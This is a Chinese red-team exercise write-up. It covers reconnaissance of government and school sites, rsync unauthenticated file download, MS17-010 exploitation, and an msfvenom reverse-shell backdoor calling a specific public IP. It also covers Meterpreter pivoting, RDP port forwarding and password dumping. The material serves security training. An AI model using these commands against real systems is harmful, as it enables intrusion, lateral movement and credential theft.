RedTeam体验


前言

以下内容,由Stalker成员交流总结,7iny整理。从去年下半年省赛接触渗透,那时我觉得sql注入分值很重。现在才懂得原来内网和权限才是最有价值的东西。这篇文章分为手术前(这部分是yiyangqianxi分享的信息收集内容)、手术中(这部分是手术期间遇到的漏洞)、手术后(这部分是yiyangqianxi的手术总结,我就不造轮子了直接分享他的文章)。经历了这么多,这一件件故事都是有着因果关系的。我希望这篇文章能对学弟学妹们有所帮助。

手术前

  • 因为热爱,所以执着。

信息收集

from: stalker–yiyangqianxi

给定条件

  • 单位名称和单位的主站网址

三种情况

1.一般这些政府网站的主站都是托管政务云也就是说 你即使拿到了shell 其实并不是它真正的服务器 是托管的政务云服务器

这种政务云一般的特征是 C段上都是政府网站 部署的WAF都是一样的 DNS解析是一样的

所以碰到这种网站 它的优先级是最低的

2.很多个服务器放在同一个机房里 也就是你去C段查询 发现有很多政府网站 但是他们部署的waf不一样 dns解析也不一样

这种网站 它的C段是有价值的 在你的目标站点没有突破点的时候 可以通过C段上的其他站点做突破点

3.托管个人企业的政府网站 它的特征是 同一C段下很多不相关的网站 这种网站的C段是没有去探测的意义了

所以托管个人企业的优先级最高 突破的难度最低

相关工具及操作

Wafw00f:查看使用何种WAF。github下载
安装

1
python setup.py install

或者

1
pip install wafw00f

DNS查看:nslookup;windows自带

找真实ip的方法是:找子域名,子域名解析出来的ip可能没有用cdn。

端口扫描:nmap有时候会扫不出来,如果这个ip你觉得很重要值得去深入挖掘的话。就用msf的syn扫描

  • msf 端口扫描模块之syn
    msf 在 auxiliary 辅助模块下有一个 scanner 扫描分类,其下有一个 portscan 端口扫描,里面有进行端口扫描的基本,不是很多,这里可以使用 search 来搜索下 portscan 关键字,常用的有 tcp、syn 等

    search portscan

use auxiliary/scanner/portscan/syn

配置并扫描

1
2
3
4
show options
set RHOSTS x.x.x.x
set THREADS 100
show options

找到的真实ip后去扫C段,看属于上面三种情况的哪种。

云悉:官网,看web服务器,中间件,cms信息

web服务器中间件的漏洞:参考文章

扫目录:御剑.把403的状态也选上,像有些www.rar web.config你可以扫到 但是访问不了 是403

查看同一ip的网站:工具

读取文件:进后台了或者你找到任意文件读取/下载,读取文件

小技巧 :如果C段一个ip开了80端口,访问发现403 ,也可以扫下它的目录

手术中

在手术期间,严老板的思路让我拿到了第一个shell也让师弟有了开疆辟土的任务。师弟疯狂的通过旁站刷分。分享几个有意思的漏洞,交流学习一下

rsync未授权访问漏洞

这个是师兄找到的,当我看到这个思路时感觉,这个洞太高端了,直接让某系统所有信息泄露。

师兄通过端口扫描发现有端口提供了rsync服务,然后你懂的。

1
2
3
4
rsync IP::   //这是在默认条件下没有改变默认的端口,默认密码是::
rsync --port=xxx ip:: //如果修改了默认端口就需要指定端口,这里就是需要自己指定47900端口
rsync -avz ip::www /tmp //-avz是下载文件的命令,前一个是目标内容,后一个是自己指定存储在本地的路径
rsync -avz --port=xxx ip::dddd /tmp

参考文章

一个没申请到CNVD的XSS

当时是某平台的机器人自助窗口,随手测试了一下XSS,还真有,拿其他站点试了一下,也是一样存在漏洞的。可惜影响不大没申请到CNVD

一个应该可以申请CNVD的sql注入

当时Danie1测试了一个二级域名,随手测出来了一个注入,因为属于一个二级域名一个单位的系统,我觉得应该算一个0day.

一个建站系统的注入

学弟在打旁站时,发现多个旁站使用了同一套建站系统,在同一个参数存在sql注入,果断批量刷该类旁站的注入了,在比赛期间靠这个漏洞学弟疯狂输出.

一个赖皮的蓝方

师兄在C段渗透的过程中找到一个未绑定域名的站点并拿下了shell,发现为内网地址,通过搜索发现该地址为该单位的内网地址,没绑定域名,蓝方否认是其财产。MMP否认完第二天就悄悄加固了。

骚思路

思路来源,手术期间某晚某邮师兄想使用工作室的服务器,使用某软件不稳定,我随口说了一句使用学校的VPN连接。师兄后来说体验还不错,这为我后来想用VPN打内网提供了思路。
在手术期间,内网和权限是爸爸,一般思路是拿到shell打内网。唯一一个shell的服务器不稳定没办法,因为有个手术对象是学校,最后一天学弟直接借了一个VPN账号开打。第一次现学现卖,没什么经验,用msf打445的ms17-010获取权限。10个网段打下来3台服务器,1台PC。30台设备存在0708漏洞。

ps:时间紧很多思路没上来,结合其他队伍的分享回头细想,我应该添加用户开3389,收集数据库,web配置等账号密码信息,撞机器,每撞一台收集一次丰富字典。抓密码mimikatagetpasswd。撞库ntscan

MS17-010

第一次现学现卖,参考文章按照这篇文章我一步步的打了没有打到。文章中他是先拿的cmdshell再尝试拿meterpreter。严老板说要加个set payload windows/x64/meterpreter/bind_tcp才能打不同网段的设备。32位的为set payload windows/meterpreter/bind_tcp。时间仓促没仔细研究原理。后来打到了3台服务器,1台PC。很满意了,现学现卖收获不菲。这个漏洞不太稳定,我打一台服务器打第二次又失败了。

手术后

  • yiyangqianxi的渗透总结

写在前面:

渗透测试的本质就是信息搜集,不管是渗透前,渗透中,还是渗透后。信息搜集都会使整个渗透过程变得有思路,有目标,有路可走。

信息搜集
不管是我刚开始学习渗透时,还是找学长重新入门渗透的时候,第一步告诉我的都是信息搜集,但是在不同的阶段,我对信息搜集的理解也不太一样。很多时候我拿到一个网站,对其就上一顿工具扫这个扫那个,其实都是瞎猫碰死耗子,误打误撞发现了哪里有个漏洞点,就算进了后台,拿到webshell,又懵了,不知道要做什么了。

在这段时间的学习和实践中,我慢慢开始领悟到信息搜集的重要性和多样性。不只是御剑nmap扫了一下网站就够了,从分析网站的结构到判断资产信息都是我们需要考虑的。

拿到一个网站,我们最先看到就是域名。域名可以给到我们什么信息呢?

1、判断它属于什么类型网站。

是学校政府,还是公司,是大型企业网站,还是小型个人网站,是众多旁站的一个小站,还是一个大主站。这很大程度上决定了一次渗透的成功与否。

学校网站:具有很多子站,内网中会有很多服务器(内网渗透会有大收获),C段有利用价值,信息搜集阶段较繁琐,但一旦找到突破口则会很容易造成很大影响。

政府网站:政府网站分为三种类型1、政务云 许多政府网站放在同一个云平台上 难度最大 2、自建机房 许多政府网站在同一个C段上 难度最低 3、个人企业搭建的阿里云/腾讯云平台 难度第二。 其实政府网站不是好目标 如果不是被授权的任务,个人不推荐选择。

大型企业网站:特别大的没挖过,中等的企业网站很多也会选择云服务器,即使拿到webshell也很难突破防火墙等安全策略的干扰,并且后渗透的收获不大。

小型个人网站:有一部分都是不怎么管理的网站,或者是交给其他专门做网站的公司管理,弱口令的可能性较大,即使没有弱口令,总会有可利用的漏洞点,这个作为目标还是不错的。

所以拿到一个网站看到域名,什么edu:学校 gov:政府 这种没有授权最好不要碰。

2、判断网站的结构和语言。

云悉是一个很好的指纹识别工具,它可以识别出网站所使用的cms、web服务器、中间件、脚本语言、数据库、操作系统等等对我们有利的信息。

虽然这张图上啥都没识别出来啊。那识别出来的东西我们该怎么利用呢?
Cms:知道cms我们就可以去查这个cms的目录结构,已知漏洞,利用默认的路径找到后台,就可以尝试弱口令,爆破之类的了。要是能找到版本号,也就能更精准的找到漏洞。
Web服务器:如apache、iis、nginx,都有其对应的漏洞 如apache的解析漏洞,iis的解析漏洞(iis还有cve2017-7269) nginx是一个反向代理服务器,可以很好的保护内网的服务器,与之类似的还有Tengine。
Web中间件:weblogic、tomcat、JBOSS 也有对应的漏洞,如常见的weblogic反序列化漏洞。
脚本语言:知道了网站的脚本语言,我们可以更好的搜集网站的目录,有些网站还可以解析多种语言。
数据库:我们在sql注入的时候,虽然大多数时候都是尝试mysql的语句(因为最简单啊),但其实还有一些数据库语言是有些不一样的,像access数据库一般都是爆破方式,一些小的工具(穿山甲)有时候比sqlmap更好用。
操作系统:操作系统有那么多漏洞就不用我多说了吧,windows提权较linux简单多了!

3、IP好像没那么简单。

我们直接ping一个网站的域名得到的ip就是这个网站真实的ip了吗?
不,它还有可能是CDN(一种加速服务)。
和目标不在同一个地点的ip就一定是CDN了吗?
不,它还可能是云服务器,或者是托管个人企业搭建的服务器。

那我们要怎么样找到真实的ip呢?
可以用微步在线查看历史解析ip

在这里面可能会有真实ip。
有时候一些网站的子域名并不会挂CDN(不是所有人都那么有钱的啊) 所以爆破子域名后看ip也可找到真实ip。

4、咋有这么多子域名。

Layer子域名挖掘机真好用!
有时候我们的渗透目标没有思路的时候,往往可以去它的旁站子站看看,有时候会碰到一些老站点,会有一些新的思路!
Ps:某学校就是一个子域名的web漏洞导致内网被打穿。。。
有时候子域名还会出现网站的后台之类的让我们惊喜的页面,虽然可能会有点繁琐,但我们有了更多攻击的点了!

5、C段咋也这么多啊。

C段是什么呢?
一个ip例如:192.168.109.135 它的C段就是 192.168.109.0-255
那它有什么用呢?
我们想想,在一个局域网内,我们都在同一个网段下,那当然也处在同一个C段下啦(当然还要看子网掩码) 不过大多数情况子网掩码都是 255.255.255.0 (网络基础知识)
C段查询既可以用nmap,msf 也可以在线查询。在线查询我一般用 那个phpinfo.me

所以有可能你的目标机器没有可利用的点,你去C段找一找有没有和它是同一单位或是同一企业的网站,类似于攻击子站旁站了。

6、我把端口给忘了。

端口应该都知道很多常见的 22:ssh 80:web服务 445:smb 3306:mysql 3389:远程桌面
对一个ip进行端口扫描我们最常用的方法就是nmap,但是有时候nmap不一定扫的出来,我们可以换个工具,msf的portscan模块。

Tcp和syn都可以用,虽然扫的比较慢,但是有时候会有一些惊喜。
那扫出来一些敏感的端口,我们就可以尝试利用一些漏洞,例如22端口我们可以爆破,445端口的永恒之蓝漏洞和ms08-067,3389最近将会出exp的 cve2019-0708。还有很多漏洞,就不一一说了。

后渗透阶段:

拿到webshell的过程我就不说了,想说也说不完,主要说说拿到了一个webshell之后我们要做些什么吧。首先就是要知道自己的权限有多大(能不能执行cmd命令,能不能进其他的目录,能不能上传文件等等)
而我一般喜欢msf的meterpreter会话,我们可以生成一个后门来得到一个反弹shell,后门可以生成很多种类型(exe的 php的等等都可以) 只要运行那个后门就可以了。

Msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=你的ip lport=监听的端口 -f exe >test.exe
-f :输出木马的类型(可自行选择)
但是这里会遇到一个问题,这是一个反弹木马,但是你要攻击的服务器要怎么把会话弹到你的电脑上呢?你的电脑并没有公网ip,它无法访问到,也就无法返回会话了,这时候我们就要用到内网穿透了。

有两种方法:
一、用自己的公网服务器和frp来进行穿透
https://blog.csdn.net/u013144287/article/details/78589643/)

二、利用工具natapp来将自己主机进行端口转发

使用natapp就是傻瓜式操作 按照官网的教程配置好

就如图所示 这时候去ping这个url得到公网ip

然后构造msf木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=112.74.89.58 LPORT=45075 -f exe > test.exe
上传到服务器一个可读可写目录下

在本地msf进行监听
use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 0.0.0.0 //可以自动获取ip

set LPORT 4444

exploit

然后再用菜刀的虚拟终端运行上传的木马,就可以得到一个meterpreter会话。

我们得到了一个meterpreter会话之后
getuid 查自己是什么用户
systeminfo 查看服务器系统信息 打了什么补丁
getsystem 尝试用msf自带的提权脚本提权

无法提权的话,我们就可以尝试本台服务器上没有打补丁的一些漏洞。但这些漏洞提权都会再次生成一个meterpreter会话,反弹向我们本机的ip,同样,我们无法接收到会话。所以我们可以选择payload为bind_tcp,也就是我们正向去连接它。

我们还可以利用烂土豆提权(本地上传一个exe来偷取管理员令牌)

提权还有很多种方法,我们都可以尝试,最重要的是思路。
可能我们无法提权这台服务器,但是不用太着急,我们来试试它的内网。

在meterpreter会话界面下 使用命令 arp -a 或者 run get_local_subnets 获取服务器的内网网段 例如我们得到的这台服务器内网网段为 192.168.123.0
那我们将当前的会话加入此条路由中
background
route add 192.168.123.0 255.255.255.0 1(1是你的session,第几个会话就填几)
route print 查看是否已添加成功

现在我们就实现了路由转发 打通了一条去往服务器内网的路
我们现在就可以扫描它的内网了 当然优先扫描永恒之蓝啦!

这样可以扫描到整个C段上的服务器有哪台有永恒之蓝漏洞,扫到以后就可以直接打那台服务器啦,不过还是之前说过的,打内网服务器的时候要设置payload为bind_tcp,不然会话是无法回来的。那现在我们拿到了内网中的另一台机器,可以用mimikatz来读取管理员的密码,可是我们现在的跳板机权限不够,无法3389连上去,那内网这台也就连不上去了。所以要怎么办呢?就要用到端口转发了。

我们可以把内网中另一台我们已获得权限的机器的3389端口转发到我们跳板机的某个端口,这样访问这个端口就相当于访问内网机器中的3389端口了。
使用
portfwd add -l 跳板机要设置的端口 -r 内网机器ip -p 3389
那么就可以通过访问 跳板机的这个端口来访问内网机器的3389了。

-------------The End-------------